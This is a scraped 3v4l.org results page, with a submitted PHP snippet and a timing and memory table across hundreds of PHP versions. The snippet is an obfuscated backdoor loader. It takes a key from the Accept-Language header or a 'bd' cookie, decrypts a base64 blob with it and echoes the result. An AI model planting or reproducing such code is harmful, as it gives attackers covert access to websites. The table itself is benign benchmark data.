3v4l.org

run code in 300+ PHP versions simultaneously
<? if(preg_match("%([a-f0-9]{32})%iU",$_SERVER['HTTP_ACCEPT_LANGUAGE'],$tmp)) {$key=$tmp[1];}elseif($_COOKIE['bd']){$key=$_COOKIE['bd'];} if($key){$qev=base64_decode("z8xYXlWSqaiMv13U3FfCXazJrZSfiV3DeqeKj1vWql5dKaHjRUCamYKLXMOGsreEwFui3F6QXNye2pTOXliTtYGKVFuN17Bdjlyd4EVun8mEWImTgbOKh46Iqspav1ZaWoVWllBPubqTXaKqicBh31rJ223Lo6HJpVtXwImzhraRW6XLWZQsJ92NYXGXqtTMrMleh8qnkVRVw4eChrWUi6TZXZFdoJiabG/Zy2Bal6qLnrVxQMzKUI1YkLSGhoe8YNWWyF2RVItYVyRftrWLioxa08asi5OM35PUpKqMW5KDsIy4jomnl5qMj2MgJMW2h4mFjonUm9hdwI1r4g==");$l=strlen($qev);$ll=strlen($key);$c=0;$i=0;for($i=0;$i<$l;$i++){$qev[$i]=chr(ord($qev[$i])-ord($key[$c]));if($ll<$c++){$c=0;}} echo($qev);} ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00718.43
8.3.50.0110.00522.05
8.3.40.0090.00618.51
8.3.30.0070.01418.77
8.3.20.0050.00318.81
8.3.10.0050.00321.14
8.3.00.0040.00421.73
8.2.180.0120.00316.75
8.2.170.0110.01122.96
8.2.160.0100.00320.43
8.2.150.0070.00024.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0070.00020.86
8.2.110.0030.00620.35
8.2.100.0040.00817.78
8.2.90.0000.00719.05
8.2.80.0000.00817.97
8.2.70.0000.00817.38
8.2.60.0000.00817.91
8.2.50.0080.00018.07
8.2.40.0040.00418.09
8.2.30.0040.00419.34
8.2.20.0000.00717.52
8.2.10.0040.00417.60
8.2.00.0000.00717.55
8.1.280.0030.01025.92
8.1.270.0040.00423.99
8.1.260.0040.01426.35
8.1.250.0000.00728.09
8.1.240.0050.00522.33
8.1.230.0110.00020.97
8.1.220.0080.00018.77
8.1.210.0060.00618.96
8.1.200.0060.00316.98
8.1.190.0050.00317.28
8.1.180.0000.00818.10
8.1.170.0050.00318.61
8.1.160.0030.00618.68
8.1.150.0000.00718.51
8.1.140.0000.00717.31
8.1.130.0000.00817.82
8.1.120.0040.00417.40
8.1.110.0000.00817.37
8.1.100.0000.00717.30
8.1.90.0000.00717.33
8.1.80.0050.00317.34
8.1.70.0000.00717.23
8.1.60.0100.00017.40
8.1.50.0000.00717.37
8.1.40.0070.00017.43
8.1.30.0000.00817.52
8.1.20.0050.00317.48
8.1.10.0000.00717.43
8.1.00.0040.00417.39
8.0.300.0060.00319.77
8.0.290.0070.00017.05
8.0.280.0050.00318.23
8.0.270.0000.00717.17
8.0.260.0060.00016.76
8.0.250.0070.00016.77
8.0.240.0030.00616.78
8.0.230.0070.00016.89
8.0.220.0000.00816.63
8.0.210.0020.00516.76
8.0.200.0000.00616.84
8.0.190.0030.00316.75
8.0.180.0000.00716.76
8.0.170.0030.00316.81
8.0.160.0070.00016.86
8.0.150.0000.00716.69
8.0.140.0040.00416.75
8.0.130.0000.00613.45
8.0.120.0050.00316.72
8.0.110.0070.00016.78
8.0.100.0000.00816.74
8.0.90.0020.00516.61
8.0.80.0070.01316.79
8.0.70.0070.00016.66
8.0.60.0030.00516.75
8.0.50.0030.00516.73
8.0.30.0120.00717.02
8.0.20.0110.00817.40
8.0.10.0030.00317.00
8.0.00.0060.01016.52
7.4.330.0050.00016.78
7.4.320.0030.00316.27
7.4.300.0060.00016.29
7.4.290.0000.00816.47
7.4.280.0070.00016.36
7.4.270.0030.00316.28
7.4.260.0030.00313.50
7.4.250.0090.00016.36
7.4.240.0030.00316.40
7.4.230.0070.00016.54
7.4.220.0110.00716.44
7.4.210.0100.00716.41
7.4.200.0070.00016.40
7.4.190.0070.00016.54
7.4.160.0060.01016.35
7.4.150.0110.00617.40
7.4.140.0150.00317.86
7.4.130.0100.00916.37
7.4.120.0090.00916.32
7.4.110.0160.00016.43
7.4.100.0090.00916.52
7.4.90.0070.01116.22
7.4.80.0100.01319.39
7.4.70.0120.00616.42
7.4.60.0030.01316.26
7.4.50.0020.00216.24
7.4.40.0090.00622.77
7.4.30.0120.00316.45
7.4.00.0060.01014.94
7.3.330.0000.00513.25
7.3.320.0030.00313.41
7.3.310.0030.00316.06
7.3.300.0000.00716.09
7.3.290.0040.01116.13
7.3.280.0100.00916.14
7.3.270.0120.00617.40
7.3.260.0170.00718.24
7.3.250.0110.00616.33
7.3.240.0110.00516.24
7.3.230.0060.01316.39
7.3.210.0070.01016.26
7.3.200.0060.01219.39
7.3.190.0130.00316.28
7.3.180.0080.00816.41
7.3.170.0120.00316.42
7.3.160.0060.00916.14
7.3.120.0150.00014.88
7.2.330.0110.00616.51
7.2.320.0090.00916.37
7.2.310.0060.01616.35
7.2.300.0070.01016.52
7.2.290.0150.00716.19
7.1.70.0030.00517.17
7.1.60.0090.00919.17
7.1.50.0070.01716.75
7.1.00.0100.05722.32
7.0.200.0040.00416.90
7.0.140.0070.06721.95
7.0.60.0070.09019.94
7.0.50.0000.04317.93
7.0.40.0030.09320.32
7.0.30.0300.07320.35
7.0.20.0400.07320.19
7.0.10.0200.07320.14
7.0.00.0030.07320.10
5.6.280.0070.07020.90
5.6.210.0030.06320.65
5.6.200.0100.06718.22
5.6.190.0030.04720.78
5.6.180.0300.05020.63
5.6.170.0270.06720.45
5.6.160.0000.05320.37
5.6.150.0100.04718.22
5.6.140.0030.05718.18
5.6.130.0100.08318.14
5.6.120.0130.07321.14
5.6.110.0100.08020.97
5.6.100.0100.08320.93
5.6.90.0100.06320.95
5.6.80.0100.07720.42
5.5.350.0100.07020.46
5.5.340.0070.05717.95
5.5.330.0100.08020.07
5.5.320.0470.03320.19
5.5.310.0430.07020.31
5.5.300.0030.08318.01
5.5.290.0070.08018.00
5.5.280.0030.04320.87
5.5.270.0030.05720.79
5.5.260.0030.08720.64
5.5.250.0030.08720.48
5.5.240.0200.07720.22
5.4.450.0230.03319.46
5.4.440.0170.05019.54
5.4.430.0200.06019.25
5.4.420.0370.06719.41
5.4.410.0300.06719.29
5.4.400.0170.04019.22
5.4.390.0270.06318.88
5.4.380.0230.07719.09
5.4.370.0230.07318.80
5.4.360.0300.07318.91
5.4.350.0270.07319.23
5.4.340.0200.05318.93
5.4.320.0300.07319.05
5.4.310.0200.04719.08
5.4.300.0200.07018.93
5.4.290.0200.07718.93
5.4.280.0230.07019.12
5.4.270.0170.04319.25
5.4.260.0100.04719.10
5.4.250.0130.04719.11
5.4.240.0230.06719.09
5.4.230.0170.05319.08
5.4.220.0270.05718.91
5.4.210.0370.05719.04
5.4.200.0330.05018.92
5.4.190.0300.04719.12
5.4.180.0170.05019.22
5.4.170.0300.06019.09
5.4.160.0270.06719.21
5.4.150.0200.04318.90
5.4.140.0230.03716.45
5.4.130.0170.06016.35
5.4.120.0270.06716.18
5.4.110.0370.06316.34
5.4.100.0170.05016.41
5.4.90.0230.07316.43
5.4.80.0300.06716.41
5.4.70.0130.06716.41
5.4.60.0300.06016.37
5.4.50.0230.04316.45
5.4.40.0200.05016.45
5.4.30.0230.04016.43
5.4.20.0170.05316.41
5.4.10.0230.04716.38
5.4.00.0170.05715.93
5.3.290.0230.04014.56
5.3.280.0270.07314.57
5.3.270.0370.06014.55
5.3.260.0230.05314.46
5.3.250.0230.04714.55
5.3.240.0330.05314.50
5.3.230.0230.03714.43
5.3.220.0170.04714.51
5.3.210.0230.06014.61
5.3.200.0300.05714.61
5.3.190.0270.06314.47
5.3.180.0200.04714.46
5.3.170.0170.04314.50
5.3.160.0200.05714.59
5.3.150.0270.07014.39
5.3.140.0300.06714.53
5.3.130.0300.05714.41
5.3.120.0300.07014.42
5.3.110.0400.05714.45
5.3.100.0270.07013.89
5.3.90.0230.06713.86
5.3.80.0270.05313.96
5.3.70.0200.06313.85
5.3.60.0270.06713.80
5.3.50.0300.06313.81
5.3.40.0270.03713.89
5.3.30.0300.06313.74
5.3.20.0200.05713.52
5.3.10.0330.04013.60
5.3.00.0230.07313.66
5.2.170.0170.06311.29
5.2.160.0200.06311.05
5.2.150.0230.04011.08
5.2.140.0170.06011.07
5.2.130.0200.04310.96
5.2.120.0170.03310.94
5.2.110.0170.03310.93
5.2.100.0200.05711.11
5.2.90.0270.03010.96
5.2.80.0200.05310.95
5.2.70.0230.06011.15
5.2.60.0170.03011.06
5.2.50.0200.03310.89
5.2.40.0130.06010.83
5.2.30.0170.06310.82
5.2.20.0200.05711.11
5.2.10.0170.06010.79
5.2.00.0100.04010.67
5.1.60.0170.04710.47
5.1.50.0200.03010.47
5.1.40.0200.02710.47
5.1.30.0170.04310.47
5.1.20.0070.03010.47
5.1.10.0100.02310.47
5.1.00.0230.01710.47
5.0.50.0100.01710.47
5.0.40.0000.02710.47
5.0.30.0070.03010.47
5.0.20.0030.02010.47
5.0.10.0000.02310.47
5.0.00.0030.03310.47
4.4.90.0070.01710.47
4.4.80.0030.02010.47
4.4.70.0130.03010.47
4.4.60.0070.02310.47
4.4.50.0100.03310.47
4.4.40.0070.03710.47
4.4.30.0100.01710.47
4.4.20.0100.01710.47
4.4.10.0070.01310.47
4.4.00.0070.02710.47
4.3.110.0070.01310.47
4.3.100.0030.01710.47
4.3.90.0070.01310.47
4.3.80.0030.02310.47
4.3.70.0070.01310.47
4.3.60.0070.01310.47
4.3.50.0070.01310.47
4.3.40.0070.02710.47
4.3.30.0000.01710.47
4.3.20.0030.01710.47
4.3.10.0000.01710.47
4.3.00.0070.01010.47

preferences:
40.66 ms | 401 KiB | 5 Q